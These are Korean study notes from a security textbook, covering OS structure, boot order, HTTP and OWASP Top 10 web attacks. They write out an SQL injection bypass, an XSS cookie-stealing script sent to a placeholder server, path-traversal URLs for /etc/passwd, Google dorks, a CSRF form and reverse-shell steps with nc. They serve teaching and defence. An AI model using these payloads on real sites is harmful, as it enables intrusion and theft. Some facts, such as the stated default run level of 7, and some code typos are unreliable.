- 사용자가 컴퓨터 시스템을 손쉽게 사용하도록 하고, 시스템 자원(기억 장치, CPU, 입출력 장치, 정보, 네트워크 등)을 효율적으로 관리할 수 있도록 하는 프로그램 집합

 

운영체제의 역할

 운영체제의 기능

- 일반 PC는 단일 사용자 운영체제 구성 모델을 기반으로 하여 메모리 관리자, 프로세서 관리자, 장치 관리자, 파일 관리자 등 서브 시스템 관리자로 구성

단일 사용자 운영체제 구성 모델

 사용자 명령 인터페이스

- 사용자와 시스템 간의 대화 수단(DOS, GUI)

 

서브 시스템 관리자

 메모리 관리자

- 프로그램의 메모리 요청의 적합성 점검

- 적합한 경우 할당된 메모리를 다른 프로그램이 접근하지 못하게 관리

- 보호 프로그램 종료 시 할당된 메모리를 회수

 

 프로세서 관리자

- 명령어들이 체계적이고 효율적으로 실행되도록 작업 스케줄링 - 사용자의 작업 요청 수용 또는 거부

 

 장치 관리자

- 프린터, 디스크 드라이버, 모뎀, 모니터 등, 시스템 내의 모든 장치(Device)를 프로그램에 할당 또는 회수

 

 파일 관리자

- 사용자별로 파일 접근(Access) 권한을 부여 접근 권한에 따라 파일을 할당(Open)하고 해제(Close)

 

 네트워크 관리자

- CPU, 메모리, 프린터, 디스크 드라이버, 모뎀, 모니터 같은 자원을 관리

 

 Window의 역사

윈도우 발전 과정

 

 과거 MS 계열 운영체제

MS DOS 2.0, Windows NT

 

Windows Server 2012

 

 Window의 구조

- 커널은 인터럽트 (Interrupt) 처리, 프로세스 관리, 메모리 관리, 파일 시스템 관리, 프로그래밍 인터페이스 제공 등 운영체제의 기본 기능을 제공

 

- 윈도우 커널 구조

윈도우 링 구조
윈도우 시스템 구조

 

• 커널 모드

- 기본적으로 사용자가 접근할 수 없는 영역

- 프로그램을 실행하는 기본 관리 시스템

 

• HAL(Hardware Abstraction Layer)

- 컴퓨터 하드웨어와 소프트웨어 사이의 추상화 계층

- 하드웨어 부품에 따라 해야 할 복잡한 과정을 일관성 있고, 간략한 인터페이스로 제공하기 위해 같은 류의 하드웨어를 공통 명령어 집합으로 묶음

- 소프트웨어와 하드웨어 사이에서 소프트웨어가 PC의 시스템 메모리, CPU, 또는 기타 하드웨어 장치에 직접적으로 접근하는 것을 막음

- 소프트웨어는 HAL을 통해 하드웨어의 종류에 관계없이 컴퓨터 자원을 사용하여 일관된 작업을 수행

 

• 마이크로 커널 - 커널은 프로세스의 스케쥴링이나 메모리 관리, 데이터 입출력, 하드웨어 제어 등을 수행 - 그러나 윈도우는 이 작업들을 여러 관리자에게 분담시키고, 마이크로 커널은 하드웨어와 하는 통신만 제어하는 최소한의 커널 - 소스코드 측면에서 10,000줄 이하의 코드를 지니는 경향이 있음

 

• 사용자 모드

- 사용자 모드에는 다양한 응용 프로그램이 있을 수 있고, 이러한 응용 프로그램을 실행하는 서브 시스템이 있음 이러한 서브시스템을 컨테이너(Container)라고도 함

- 윈도우 10부터 윈도우 리눅스 서브시스템(WSL, Windows Subsystem for Linux) 적용

- 윈도우에서 리눅스 OS 설치 및 실행 가능

 

• 윈도우 관리자의 역할

- 입출력 관리자(I/O Manager) : 시스템의 입출력을 제어

- 객체 관리자(Object Manager) : 파일, 포트, 프로세스, 스레드 등의 객체들에 대한 정보를 제공

- 보안 참조 관리자(Security Reference Monitor Manager) : 각 데이터나 시스템 자원의 제어를 허가 하거나 거부함

- 프로세스 관리자(Process Manager) : 스레드를 생성하고 요청에 따라 처리

- 로컬 프로시저 호출 관리자(Local Procedure Call Manager) : 프로세스 간 장치

- 가상 메모리 관리자(Virtual Memory Manager) : RAM의 메모리를 할당하고, 가상 메모리의 페이징 (Paging)을 제어

- 그래픽 장치 관리자(Graphics Device Interface Manager) : 화면에 선이나 곡선을 그리거나 폰트 등을 관리

- 기타 관리자 : 캐시(Cache) 관리자, PNP(Plug and Play) 관리자, 전원 관리자 등이 있다.

 

• 윈도우 부팅 순서 (윈도우 XP, 윈도우 서버200/2003)

1 | POST(Power On Self Test)의 실행

- BIOS(Basic Input/Output system)에서 POST(Power On Self Test) 실행

- 컴퓨터 전원 인가 시 BIOS가 주변장치에 이상은 없는지 검사

 

2 | 기본 부팅 관련 설정사항 로드

- BIOS는 CMOS에 설정되어 있는 시스템 설정사항 및 부팅과 관련된 여러 가지 정보를 읽어 시스템에 적용

- CMOS(Complementary Metal-Oxide Semiconductor)

- CMOS는 비휘발성이기에 메인보드의 BIOS는 각종 설정 작업을 할 때 CMOS에 저장된 정보를 불러올 수 있음

 

3 | MBR(Master Boot Record, 마스터 부트 레코드) 로드

- MBR은 저장 매체의 첫 번째 섹터에 위치하는 512바이트의 영역으로, 부팅 매체에 대한 기본 파일 시스템 정보

- 부팅 가능한 파티션을 찾아 부팅 프로그램을 담고 있는 부트 섹터(Boot Sector) 호출

- ‘Missing operating system’은 운영체제가 설치되지 않았거나 CMOS에서 부팅 매체를 잘못 설정했을 때 확인

 

4 | NTLDR(NT Loader) 실행

- 하드 디스크의 부팅 파티션에 있는 프로그램으로, 윈도우 가 부팅될 수 있도록 파일 시스템을 실행하고 boot.ini 파일의 내용을 읽어 가능한 부팅 옵션을 보여줌

- 윈도우 비스타 이상 버전부터는 boot.ini를 포함하지 않고 별도의 시동 로더 사용

- 시스템에 설치된 하드웨어 검사(CPU 유형, 버스 유형, 비디오 보드 유형, 키보드와 마우스 종류, 컴퓨터에 장착되어 있는 직렬 포트와 병렬 포트, 플로피 드라이브)

- NTDETECT가 문제 없이 구동하면 레지스트리에 하드웨어 키 생성( HKEY_LOCAL_MACHINE, 재부팅마다 레지스트리에 해당 부분을 만들고 항상 현재 하드웨어 구성 반영)

 

5 | NTDETECT.com 실행

 

6 | ntoskrnl.exe(NT OS Kernel) 실행 HAL.DLL(Hardware Abstraction Layer) 로드 단계

- 커널 로드 : 시스템 설정을 로드하고, 이것을 HKEY_LOCAL_MACHINE\ System\CurrentControlset\Services에 저장

- 커널 초기화 : 드라이브에 대한 현재의 제어 설정을 검사하고 작업을 시작

- 서비스 로드 : 세션 관리자 서브 시스템(smss.exe)과 Win32 서브 시스템을 로드

- 서브 시스템 시작 : 윈도우 서브 시스템이 초기화, Win32 서브 시스템은로그인을 처리하고 Winlogon.exe를 시작

 

• 리눅스/유닉스의 역사

- 데니스 리치(Dennis Ritchie)는 파견지에서 돌아온 뒤 켄 톰슨(Ken Thomson)과 함께PDP- 7을 만들기 시작하며 멀틱스의 여러 개념 구현

1 | 파일 시스템 구성

2 | 사용자가 명령을 내려 바로 실행하는 명령어 인터프리터(command interpreter)

3 | 각 명령이 새로운 프로세스를 형성해서 실행하도록 하는 개념 모두 포함

 

PDP-7

- 버클리대학교 AT&T 연구소는 유닉스 소스 코드를 400달러에 구입

- 버클리대학교의 학생 빌 조이(Bill Joy)와 척 핼리(Chuck Haley)는 소스 코드를 수정하여 발전

- BSD(Berkeley Software Distribution)라는 이름을 붙여 당시50달러 가격으로 판매

- 리눅스 시초는 1983년부터 리처드 스톨만이 개발한 GNU 운영체제

- 리눅스 정식 버전은 1991년 10월에 발표 ‘Copy Left’ 원칙에 의해 배포했고, 해커를 포함한 여러 사람들에 의해 발전

- POSIX(Portable Operating System Interface)

- 이식 가능 운영 체제 인터페이스

- 서로 다른 UNIX OS의 공통 API를 정리하여 이식성이 높은 유닉스 응용 프로그램을 개발하기 위한 목적으로 IEEE가 책정한 애플리케이션 인터페이스 규격

 

• 유닉스의 표준 인터페이스 POSIX

- POSIX.1(핵심부, 운영체제 인터페이스)

- POSIX.2(셸과 툴, 사용자 명령 등)

- POSIX.3(표준 규격의 적합성 검증법)

- POSIX.4(실시간 POSIX 확장)

- POSIX.5(Ada 언어)

- POSIX.6(보안 기능) 등

 

유닉스 시스템 발전 과정

 

리눅스/유닉스의 구조

• 유닉스 링 구조

- 하드웨어, 커널, 셸, 응용 프로그램으로 구성

유닉스 링 구조

- 윈도우보다 훨씬 단순한 구조

- 크게 파일 서브 시스템, 장치 드라이버, 프로세스 제어로 나뉘며, 커널의 파일 크기 또한 윈도우의 1/3 정도

유닉스 시스템 구조

- 프로세스 제어: 전체 프로세스 간 통신, 스케줄링, 메모리 관리 구현

- 장치 드라이버: 윈도우에서 처럼 하드웨어와 소프트웨어를 연결해주는 인터페이스 제공

- 파일 서브 시스템: 하드 디스크와 같은 저장 공간에 유닉스의 파일을 저장하고 읽는 역할

 

• 셸(Shell)

- 응용 프로그램에서 명령을 받아 커널에 전송하는 역할, 사용자의 키보드 입력 인식 해당 프로그램을 수행

- 본 셸(Bourne Shell), 콘 셸(Korn Shell), C 셸(C Shell)

 

• 셸의 주요 기능

- 자체의 내장 명령어 제공

- 입력/출력/오류의 방향 변경(redirection)

- 와일드카드(wildcard)

- 파이프라인

- 조건부/무조건부 명령 열 작성

- 서브 셸 생성

- 백그라운드 처리(Background processing)

- 셸 스크립트(프로그램) 작성

 

• 리눅스/유닉스의 파일 시스템

- 일반 파일 : 데이터 파일이나 실행

- 디렉터리 : 유닉스에서는 디렉터리도 파일에 해당, 디렉터리가 담고 있는 여러 파일과 하위 디렉터리 정보가 담겨 있음

- 특수 파일 : 프린터나 터미널, 테이프 드라이버 같은 물리적인 장치를 특수 파일을 통해 접근, 특수 파일은 /dev(device)에 있음

- 파이프 파일 : | 문자를 말하며, 2개의 명령을 연결 시 사용, 임시 파일이 생성 되었다가 명령 수행을 마치면 사라지는 것으로, 이 파일을 파이프 파일이라고 함

유닉스의 디렉터리 구조

 

디렉터리 내용
/bin 기본적으로 실행 가능한 파일을 담고 있음
echo, mv, copy, pwd, who 등
/etc 시스템의 환경 설정 및 주요 설정 파일을 담고 있음
passwd, hosts, xined.conf 등
/tmp 프로그램 실행 및 설치 시 생성되는 임시 파일을 담고 있음
이 디렉터리에 파일을 저장하면 재부팅 시 임의로 삭제될 수 있음
/lib 기본 프로그램의 모듈을 담고 있음
/boot 커널을 위한 프로그램 파일을 담고 있으며, 부팅할 때 읽혀 수행 됨
/dev 프린터나 터미널 같은 물리적인 장치를 다루기 위한 특수 파일을 담고 있음
/home 각 사용자의 작업 디렉터리를 담고 있음
각 계정으로 로그인할 때 이 디렉터리 밑에 자신의 작업 디렉터리가 시작 디렉터리가 됨
/usr 사용자가 직접 쓰는 파일을 담고 있다. 다른 디렉터리에 있는 파일이 똑같이 위치하고 있는 것이 많은데, 이는 링크되어 있는 것
/usr/lib C언어나 포트란의 라이브러리를 담고 있음
/usr/include C언어에 사용되는 헤더 파일을 담고 있음


• 리눅스/유닉스의 부팅 순서

- 1단계 : POST(Power On Self Test) 수행

 

- 2단계 : 기본 부팅 관련 설정사항 로드

 

- 3단계 : MBR(Master Boot Record, 마스터 부트 레코드) 로드

 

- 4단계 : 부트 로더(Boot Loader) 실행

1 | LILO(Linux Loader)와 GRUB(GRand Unified Bootloader, GNU 프로젝트의 부트 로더) 사용

2 | LILO는 /etc/lilo.conf에 설정사항 저장

3 | GRUB은 /etc/grub.conf (=/boot/grub/grub.conf)에 설정사항 저장

4 | 부트 로더를 실행하면 OS 커널 이미지를 메모리에 로드

 

▪ 5단계 : 실행 레벨에 따른 서비스 실행

- inittab 파일은 부팅할 기본 모드를 선택하여 그에 따른 환경을 제공하는 분기점

- initttab 파일 : 실행 레벨(Run Level), 기본이 실행 레벨 7

실행 레벨 0  시스템을 종료할 때 사용
실행 레벨 1 단일 사용자 모드(Single User Mode)로, 기본적으로 관리자 권한의 셸을 얻는다. 그러나 대부분 데몬이 실행되지 않으므로 기능은 제약되어 있다.
실행 레벨 2 NFS(Network File System)를 지원하지 않는 다중 사용자 모드
실행 레벨 3 일반 셸 기반의 인터페이스를 가진 다중 사용자 모드
실행 레벨 4 기본적으로 사용되지 않지만 사용자가 임의로 정의하여 사용할 수 있음
실행 레벨 5 기본은 실행 레벨 3과 같으나 GUI 환경을 지원
실행 레벨 6 재부팅

'한빛아카데미 - 네트워크 해킹과 보안: 정보 보안 개론과 실습' 교재에 관한 내용입니다.


• 웹의 이해

- 1989년 유럽입자물리연구소 CERN에서 근무하던 팀 버너스 리가 연구 목적의 프로젝트로 시작

- 프로젝트를 계획할 당시에는 웹을 ‘하이퍼텍스트 프로젝트 라고 불림

- 현재 웹 문서로 가장 많이 쓰이는 HTML은 하이퍼텍스트를 효과적으로 전달하기 위한 스크립트 언어

- 웹은 수많은 보안 취약점이 내재되어 있어 해킹에 취약한 집중적인 공격대상

 

•  HTTP 프로토콜 

- 여러 프로토콜이 쓰이나 가장 많이 쓰이는 프로토콜은 HTTP

- HTTP는 웹 처리 전반에 걸친 토대가 되기 때문에 웹 서버를 HTTP 서버라고 부르기도 함

연결 과정

1 | 서버가 준비 상태

2 | 클라이언트는 읽고자 하는 문서를 서버에 요청

3 | 서버는 웹 문서 중에서 요청받은 것을 클라이언트에 전송

4 | 연결을 끊음

 

HTTP Request

GET 방식

- 가장 일반적인 HTTP Request 형태로, 요청 데이터의 인수를 웹 브라우저의 URL로 전송

- 데이터가 주소 입력란에 표시되므로 최소한의 보안도 유지되지 않는 취약한 방식


• POST 방식

- URL에 요청 데이터를 기록하지 않고 HTTP 헤더에 데이터를 전송

- 인숫값을 URL로 전송하지 않으므로 다른 사용자가 링크로 해당 페이지를 볼 수 없음

- 게시판의 경우: 목록이나 글 보기 화면은 접근 자유도를 위해 GET 방식을 사용 게시글을 저장·수정·삭제하거나 대용량 데이터를 전송할 때는 POST 방식을 사용

 

기타 방식

- HEAD 방식: 서버 측 데이터를 검색하고 요청하는 데 사용

- OPTIONS 방식: 자원에 대한 요구/응답 관계와 관련된 선택 사항 정보를 요청할 때 사용

- PUT 방식: 메시지에 포함된 데이터를 지정된 URI 장소에 그 이름으로 저장

- DELETE 방식: URI에 지정된 자원을 서버에서 지울 수 있게 함

- TRACE 방식: 요구 메시지의 최종 수신처까지 루프백을 검사하는 데 사용

 

HTTP Response

- 클라이언트의 HTTP Request에 대한 응답 패킷

- 서버에서 쓰이는 프로토콜 버전, Request에 대한 실행 결과 코드, 간략한 실행 결과 설명문 내용이 담겨 있음

- 추가 정보로 전달할 데이터 형식, 길이 등이 MIME 형식으로 표현되어 있음

- 헤더 정보 뒤에는 실제 데이터(HTML 또는 이미지 파일)가 전달됨

- 데이터 전달이 끝나면 서버 연결을 끊음

 

실행 결과 코드 내용 설명
100번대 정보 전송 HTTP 1.0까지는 계열에 대한 정의가 이루어지지 않았기 때문에 실험 용도 외에는 100번대 서버 측의 응답이 없다.
200번대 성공 클라이언트의 요구가 성공적으로 수신 및 처리되었음을 의미한다.
300번대 리다이렉션 해당 요구 사항을 처리하기 위해 사용자 에이전트가 수행해야 할 추가 동작이 있음을 의미한다.
400번대 클라이언트 측 에러 클라이언트에 오류가 발생했을 때 사용한다. 예를 들면 클라이언트가 서버에 보내는 요구 메시지를 완전히 처리하지 못한 경우 등이다.
500번대 서버 측 에러 서버 자체에서 발생한 오류 상황이나 요구 사항을 제대로 처리할 수 없을 때 사용한다.

 

프론트 엔드

HTML

- 프론트 엔드: 클라이언트, 즉 웹 브라우저에서 실행되는 프로그램 영역

- 서버에 HTML 문서를 저장하고 있다가 클라이언트가 특정 HTML 페이지를 요청하면 해당 문서를 전송

- 클라이언트는 이 웹 페이지를 해석하여 웹 브라우저에 표현 (정적인 웹 페이지)

- 웹 브라우저와 웹 서버 사이에 전달되는 값을 변조하여 웹 서버 설정이나 로직을 바꾸는 웹 해킹에서 정적인 웹 페이지 바꿀 수 있는 가능성이 매우 낮다는 것이 보안상 장점

 

 CSS

- 동적인 웹 서비스를 제공하기 위해서 자바스크립트, 비주얼베이직 스크립트 등이 사용

- 현재 프론트 엔드를 담당하는 스크립트는 자바스크립트 • 자바스크립트는 HTML과 마찬가지로 웹 브라우저에 의해 해석 및 적용되며 CSS라고 함

- 서버가 아닌 웹 브라우저에서 해석되어 화면에 적용되어 웹 서버의 부담을 줄이면서도 다양한 기능을 수행

 

웹 해킹

 웹 취약점 스캐너를 통한 정보 수집

- 웹 취약점 스캐너를 통한 정보 수집은 빠른 시간 내에 다양한 접속 시도를 수행할 수 있다는 것이 장점

- 웹 취약점 스캐너로 확인된 취약점은 실제 보안 문제가 있는 취약점이 아닌 경우가 많음

Acunetix 웹 취약점 스캐너

 웹 프록시를 통한 취약점 분석

- 웹의 구조를 파악하거나 취약점을 점검할 때 혹은 웹 해킹을 할 때는 웹 프록시 툴을 사용

- 일반적으로 웹 해킹에 사용되는 웹 프록시는 클라이언트에 설치되고 클라이언트의 통제를 받음

- 클라이언트가 웹 서버와 웹 브라우저 간에 전달되는 모든 HTTP 패킷을 웹 프록시 를 통해 확인하면서 수정할 수 있음

 웹 프록시 Burp Suite

- http://portswigger.net/burp 에서 무료로 내려받아 설치한 후 실행

- 설치 방법: https://security-student.tistory.com/24 참고 하시면 됩니다.

Burp Suite 실행 창

 

 서버에서 클라이언트로 전송되는 패킷 변조

- 서버에서 변수 A의 값이 20임을 확인하고 이 값을 클라이언트에 전송

- A=40으로 바꾸어 전송

- 변조를 4 에서 해도 되지만 일반적으로 2 에서 변조하는 것이 훨씬 쉬움

- 서버가 클라이언트로 보낸 데이터 변조로 인해 발생하는 위험을 없애려면 서버에서 클라이언트로 전송한 값을 다시 참조하지 말아야 함

 

 클라이언트에서 서버로 전송되는 패킷 변조

- 서버에서 클라이언트로 전송되는 패킷을 변조하는 방법과 같음

 

 구글 해킹을 통한 정보 수집

- 웹 해킹을 하면서 많은 정보를 수집하려면 구글 같은 검색 엔진이 유용

 

 구글의 고급 검색 기능

검색 인자 설명 검색 추가 인자
site 특정 도메인으로 지정한 사이트에서 검색하려는 문자열이 포함된 사이트를 찾는다. YES
filetype 특정 파일 유형에 한해 검색하는 문자가 들어 있는 사이트를 찾는다. YES
link 링크로 검색하는 문자가 들어 있는 사이트를 찾는다. NO
cache 특정 검색어에 해당하는 캐시된 페이지를 보여준다. NO
intitle 페이지 제목에 검색하는 문자가 들어 있는 사이트를 찾는다. NO
inurl 페이지 URL에 검색하는 문자가 들어 있는 사이트를 찾는다 NO

 

- ‘wishfree.com’ 도메인이 있는 페이지에서 ‘admin’ 문자열 검색: site

site:wishfree.com admin

site:wishfree.com admin 구글링 화면

- 파일 확장자가 txt이고 문자열 password가 들어간 파일 검색: filetype

filetype:txt password

filetype:txt password 구글링 화면

- 디렉토리 리스팅이 가능한 사이트 검색:Intitle

intitle:index.of admin

intitle:index.of admin 구글링 화면

검색 엔진의 검색을 피하는 방법

- 구글 검색 엔진의 검색을 막는다. User-agent: googlebot

- 모든 검색 로봇의 검색을 막는다. User-agent: *

- dbconn.ini 파일을 검색하지 못하게 한다. Disallow: dbconn.ini

- admin 디렉토리에 접근하지 못하게 한다. Disallow: /admin

 

 웹의 주요 취약점

- 국제웹보안표준기구(OWASP)에서는 각 분야별 상위 열 가지 주요 취약점을 발표

- OWASP Top 10은 시기에 따라 항목별 취약점 구분이 달라지고 하나의 취약점이 두 가지 의미를 지닌 경우도 있음

 

 명령 삽입 취약점(A1. Injection)

- 클라이언트의 요청을 처리하기 위해 전송받는 인수에 특정 명령을 실행할 수 있는 코드가 포함되는 경우 특정 명령을 실행하는 코드를 적절히 필터링하지 못하면 삽입 공격에 대한 취약점이 발생

- 명령 삽입 공격은 SQL, OS, LDAP 등 웹으로 명령을 전달하는 모든 경우에 적용 가능

- 웹 서버에서 데이터베이스로 전송되는 SQL 쿼리에는 아이디, 패스워드, 검색어 등 여러 가지 인수가 사용됨

- SQL 삽입 공격은 이 인수에 추가 실행 코드를 넣는 것

- 웹에서 로그인할 때도 이와 유사한 SQL문이 삽입

SELECT * FROM "user"
WHERE e_mail_address = '입력된 아이디' AND password ='입력된 패스워드'

 

- 웹 소스에서 SQL을 처리하는 부분

exports.getLoginUserName = function(user_email, password, callback) {
var user_name;
var sql = "SELECT user_name, e_mail_address FROM user WHERE e_mail_address =
'" + user_email + "' AND password = '" + password + "' ";
db.each(sql, function(err, row) {
if (user_email = = row.e_mail_address) {
user_name = row.user_name;
callback (user_name);
}
},
function(err, rows) {
if (rows = = 0) {
user_name = "Login_Failed";
callback (user_name);
}
});
}

- SQL문에서 where로 입력되는 조건문을 항상 참으로 만들기 위해 조건 값에 ‘or’‘=’를 입력

- 위와 같은 쿼리문이 만들어지면 조건문인 WHERE문에서 password 부분은 or 조건으로 항상 만족되므로 공격자는 사용자 인증에 성공

패스워드: ' OR ''='

SELECT * FROM "user"
WGERE e_mail_address = 'wishfree@empas.com' and password = '' or ''=''

- SQL 삽입 공격은 웹에서 사용자의 입력 값을 받아 데이터베이스에 SQL문으로 데이터를 요청하는 모든 곳에 가능하고, 인증뿐만 아니라 다양한 형태의 SQL문을 실행할 수 있음

- 게시판, 우편번호 검색처럼 대량의 정보를 검색하는 부분에서 웹 서버와 데이터베이스 연동이 일어나므로 SQL 삽입 공격을 수행할 수 있음

 

 인증 및 세션 관리 취약점(A2. Broken Authentication and Session Management)

- 취약한 패스워드 설정

- 웹의 경우 사용자는 개발자가 처음 설정한 패스워드를 그대로 쓰는 경우가 많음

- 웹에서 admin/admin과 같이 취약한 패스워드를 자주 발견할 수 있음

 

 사용자 데이터를 이용한 인증

1 | 최초 인증 과정은 정상적인 아이디와 패스워드의 입력으로 시작

2 | 패스워드가 올바른 경우의 접속에 대해 인증을 한 뒤 인증 값으로 쿠키와 같은 세션 값을 넘겨줌

3 | 웹 서버가 새로운 페이지에 접근할 때 공격자가 2에서 수신한 인증 허용 값을 전달받으면서 해당 세션 이 유효한 인증인지 확인

4 | 공격자는 세션 인증 값은 그대로 사용하고 UserNo 값만 변경하여 다른 계정으로 로그인한 것처럼 웹 서비스를 이용할 수 있음

 

 XSS 취약점(A3. Cross-Site Scripting)

- XSS: 공격자가 작성한 스크립트가 다른 사용자에게 전달되는 것

- 다른 사용자의 웹 브라우저 안에서 적절한 검증 없이 실행되기 때문에 사용자의 세션을 탈취하거나 웹 사이트를 변조하고 악의적인 사이트로 이동할 수 있음

 

 XSS 공격의 구조

1 | 임의의 XSS 취약점이 존재하는 서버에 XSS 코드를 작성하여 저장

2 | 공격자가 작성해놓은 XSS 코드에 해당 웹 서비스 사용자가 접근

3 | 웹 서버는 사용자가 접근한 XSS 코드가 포함된 게시판의 글을 사용자에게 전달

4 | 사용자의 시스템에서 XSS 코드가 실행

5 | XSS 코드가 실행된 결과가 공격자에게 전달되고 공격자는 공격을 종료

 

 XSS 취약점(A3. Cross-Site Scripting)

- 게시판에 대한 XSS 공격의 취약성 여부는 XSS코드를 게시판에 입력해서 확인

- XSS 취약점을 확인하기 위한 경고 창을 띄우는 형태의 스크립트를 입력하면 현재 해당 문서를 읽는 사용자의 쿠키 값을 웹 서버로 전달하게 됨

<script>location.href="http://서버주소/XSS/GetCookie.asp?cookie="+document.cookie</script>

 

 취약한 접근 제어(A4. Broken Access Control)

- 인증된 사용자가 수행할 수 있는 것에 대한 제한을 제대로 적용하지 않은 것을 의미

이 취약점에 노출되면 일반 사용자나 로그인하지 않은 사용자가 관리자 페이지에 접근 하여 관리자 권한의 기능을 악용할 수 있음

- 인증 우회를 막으려면 웹의 중요 페이지에 세션 값(쿠키)을 확인하는 검증 로직을 입력해두어야 함

- 프로그램 개발시 표준 인증 로직을 만들어 웹에 존재하는 모든 페이지의 앞부분에 입력해야 함

 

디렉토리 탐색

- 웹 브라우저에서 확인 가능한 경로의 상위를 탐색하여 특정 시스템 파일을 다운로드하는 공격 방법

- 게시판 등에서 첨부 파일을 내려받을 때는 다음과 같이 백 엔드 서비스를 주로 사용

http://www.wishfree.com/board/download.jsp?filename=사업계획.hwp

- 정상적인 다운로드 페이지를 이용하여 다른 파일의 다운로드를 요청

http://www.wishfree.com/board/download.jsp?filename=../list.jsp

- 파일 시스템에서 .는 현재 디렉토리를 의미하고 ..는 상위 디렉토리를 의미

- 만약 공격자가 filename 변수에 ../list.jsp를 입력한다면 다운로드가 기본적으로 접근하는 /board /upload 디렉토리의 바로 상위 디렉토리에서 list.jsp를 다운로드하라는 의미 

- /board/admin 디렉토리에 있는 adminlogin.jsp를 다운로드

http://www.wishfree.com/board/download.jsp?filename=../admin/adminlogin.jsp

- download.jsp 파일 자신도 다음과 같이 입력하여 다운로드

http://www.wishfree.com/board/download.jsp?filename=../download.jsp

- 유닉스 시스템의 경우에는 /etc/passwd와 같이 사용자 계정과 관련된 중요한 파일의 다운로드를 시도할 수 있음

http://www.wishfree.com/board/download.jsp?filename=../../../../../../../etc.passwd

- etc/passwd 파일을 다운로드할 수 있다면 몇 번의 시행착오를 거쳐서 웹 소스가 있는 디렉토리에서 일곱 번째 상위 디렉토리가 루트 디렉토리임을 알 수 있음

 

보안 설정 오류(A5. Security Misconfiguration)

디렉토리 리스팅

- 웹 브라우저에서 웹 서버의 특정 디렉토리를 열면 그 디렉토리에 있는 파일과 목록이 모두 나열되는 것을 말함

- 상당수 디렉토리 리스팅은 관리자가 설정 사항을 인지하지 못했거나 웹 서버 자체의 취약점 때문에 발생

 

 백업 및 임시 파일 존재

- 웹 사이트 개발시 웹 서버 백업 파일이나 임시 파일을 삭제하지 않고 방치하면 공격자가 백업 파일을 통해 웹 애플리케이션 의 내부 로직, 데이터베이스 접속 정보 등 획득 가능

- 예) login.asp의 백업 파일인 login.asp.bak 파일

 

 미흡한 주석 관리

- 웹 애플리케이션에서 웹 프록시를 이용하면 일반 사용자도 볼 수 있는 주석에는 웹 애플리케이션 개발 과정, 주요 로직에 대한 설명, 디렉토리 구조, 테스트 소스 정보, 아이디와 패스워드 등이 기록됨

- 웹 애플리케이션 개발시 주석에 정보를 기록할 때는 주의해야 함

 

 파일 업로드 제한 부재

- 공격자가 웹 서버에 악의적인 파일을 전송한 뒤 원격지에서 실행하면 웹 서버 장악, 내부 침투 공격 수행 가능

- 웹 해킹의 최종 목표인 웹 서버 통제권을 얻기 위해 반드시 성공해야 하는 공격

 

• 리버스 텔넷

- 웹 해킹으로 시스템 권한을 획득한 후 해당 시스템에 텔넷과 같이 직접 명령을 입력하고 확인할 수 있는 셸을 획득하기 위한 방법으로, 방화벽이 있는 시스템을 공격할 때 자주 사용

- 심화된 공격을 하려면 텔넷과 유사한 접근 권한을 획득하는 것이 매우 중요한데, 이때 리버스 텔넷이 유용

외부의 접근이 차단된 텔넷 접속

- 공격자의 PC에 텔넷 서비스가 열려있고 방화벽의 아웃바운드 정책이 열려 있다면 웹 서버에서 공격자의 텔넷으로 접속 가능

내부에서 외부로 향한 접속이 허용된 텔넷 접속

- 웹 서버에서 권한을 획득하면 웹서버에서 공격자의 PC로 텔넷 연결을 허용하는 상황을 공격자가 이용할 수 있음

1 | 명령 창 획득: 파일 업로드 등으로 웹 브라우저에서 실행 가능한 웹 셸을 웹 서버에 업로드

공격자가 명령을 입력할 수 있는 명령 창 획득함

2 | 리버스 텔넷용 툴 업로드: 서버 게시판의 파일 업로드 기능을 이용하여 nc(net cat)와 같은 리버스 텔넷용 툴 업로드

3 | 공격자 PC의 리버스 텔넷 데몬 활성화: 서버에서 리버스 텔넷을 보내면 이를 받아 텔넷을 열 수 있도록 준비

4 | 획득한 명령 창으로 공격자에게 리버스 텔넷을 보내면 리버스 텔넷 창 획득

 

 민감한 데이터 노출(A6. Sensitive Data Exposure)

- 웹 사이트 해킹으로 개인 정보가 유출되는 것은 신용카드 번호, 주민등록번호, 인증 신뢰 정보와 같은 민감한 데이터를 보호하지 않는 것이 주요한 원인

- 민감한 데이터를 보호하려면 데이터 중요도에 따라 암호화 로직을 사용하고 데이터베이스 테이블 단위에서 암호화를 수행해야 함

 

 공격 방어 취약점(A7. Insufficient Attack Protection)

- 예전 웹 애플리케이션은 해킹 공격을 탐지, 방지, 대응할 수 있는 기능을 갖추고 있지 않았음

- APT 공격이 일반화되면서 보안 솔루션으로 탐지가 어렵자 웹 애플리케이션 수준에서 자동으로 탐지, 로깅, 응답 및 공격 시도 차단을 포함하도록 권고

 

 CSRF 취약점(A8. Cross-Site Request Forgery)

- 특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그인된 사용자가 자신의 의지와 무관하게 공격자가 의도한 행위(수정, 삭제, 등록, 송금 등) 를 하게 만드는 공격

- 기본적으로 XSS 공격과 매우 유사하며, XSS 공격의 발전된 형태로 보기도 함

- XSS 공격은 악성 스크립트가 클라이언트에서 실행되는 데 반해 CSRF 공격을 하면 사용자가 악성 스크립트를 서버에 요청

CSRF 공격의 구조

 

- CSRF 공격 예시

wishfree라는 계정이 주문한 물품에 대해 10,000원을 결제하라는 내용

<body onload = "document.csrf.submin()“>
<form name="csrf" action="http://www.shop.c o.k r/malladmin/order/order.jsp" method="POST“>
input type="hidden" name="uid" value="wishfree“
input type="hidden" name="mode" value="pay_for_order
input type="hiddne" name="amount" value="10000“
</form>

 

 취약점이 있는 컴포넌트 사용(A9. Using Components with Known Vulnerabilities)

- 컴포넌트, 라이브러리, 프레임워크 및 다른 소프트웨어 모듈이 다양하게 사용되면서 보안에 취약한 컴포넌트가 악용되면 심각한 데이터 손실, 서버 장악이 가능해짐

- 사용하려는 컴포넌트, 라이브러리의 보안 취약점을 충분히 검토해야 함

 

 취약한 API(A10. Underprotected APIs)

- API를 통해 웹 서비스 상호 간의 연동이 이루어지므로 API 사용시 보안에 취약하지 않은지 충분한 검토가 필요

 

 

웹의 취약점 보완

• 특수 문자 필터링

- 웹 해킹의 가장 기본적인 형태 중 하나는 인수 조작으로 예외적인 실행을 유발하기 위해 특수문자를 포함

특수 문자 관련된 공격 특수 문자 관련된 공격
< XSS 취약점 공격 = SQL 삽입 공격
> XSS 취약점 공격 ; SQL 삽입 공격
& XSS 취약점 공격 * SQL 삽입 공격
" XSS 취약점 공격 . SQL 삽입 공격
? XSS 취약점 공격 .. SQL 삽입 공격
' XSS 취약점 공격, SQL 삽입 공격 -- SQL 삽입 공격
